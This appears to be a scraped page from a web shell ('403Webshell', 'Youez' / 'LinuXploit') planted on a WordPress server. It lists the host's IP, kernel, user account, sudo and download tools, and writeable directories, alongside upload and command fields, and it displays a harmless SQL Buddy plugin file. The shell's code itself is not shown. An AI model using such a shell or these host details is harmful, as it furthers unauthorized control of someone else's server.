403Webshell
Server IP : 3.93.235.159  /  Your IP : 216.73.216.140
Web Server : Apache
System : Linux ip-172-26-0-169 5.10.0-46-cloud-amd64 #1 SMP Debian 5.10.262-1 (2026-07-31) x86_64
User : bitnami ( 1000)
PHP Version : 8.2.9
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /bitnami/wordpress/wp-content/plugins/sql-buddy/includes/REST_API/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /bitnami/wordpress/wp-content/plugins/sql-buddy/includes/REST_API/Server.php
<?php
/**
 * Server class.
 *
 * @package   SQL_Buddy
 * @license   https://www.apache.org/licenses/LICENSE-2.0 Apache License 2.0
 * @link      https://github.com/deliciousbrains/sql-buddy/
 */

namespace SQL_Buddy\REST_API;

/**
 * Class Server
 */
class Server {

	/**
	 * API namespace.
	 *
	 * @var string
	 */
	public $namespace;

	/**
	 * Server constructor.
	 */
	public function __construct() {
		$this->namespace = 'sqlbuddy/v1';
	}

	/**
	 * Register route for an endpoint.
	 *
	 * @param string $endpoint Endpoint to register.
	 * @param array  $args     Arguments.
	 */
	public function register_route( $endpoint, $args ) {
		register_rest_route( $this->namespace, $endpoint, $args );
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit